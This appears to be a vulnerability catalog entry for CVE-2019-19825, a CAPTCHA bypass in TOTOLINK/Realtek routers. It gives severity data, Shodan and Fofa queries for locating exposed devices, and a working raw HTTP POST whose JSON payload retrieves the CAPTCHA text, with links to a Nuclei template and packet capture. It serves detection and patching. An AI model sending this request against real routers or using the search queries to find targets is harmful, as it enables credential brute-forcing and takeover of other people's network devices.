| Title | TOTOLINK/Realtek Routers - CAPTCHA Bypass |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass CAPTCHA verification to brute-force credentials and gain unauthorized administrative access, leading to complete device control and potential network compromise. |
| Remediation | Upgrade to firmware versions beyond those listed as vulnerable, or replace affected devices with patched alternatives. |
| CVSS Score | 9.8 |
| EPSS Score | 0.28752 |
| CVE ID | CVE-2019-19825 |
| CWE ID | CWE-287 |
| Shodan Query | http.html:"TOTOLINK" |
| Fofa Query | title="totolink" |
| Tags | cve cve2019 totolink realtek captcha bypass vkev |
On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {“topicurl”:”setting/getSanvas”}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.
POST /boafrm/formLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Content-Length: 32
Content-Type: application/json
Accept-Encoding: gzip
{"topicurl":"setting/getSanvas"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-19825.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-19825.pcap
N/AN/A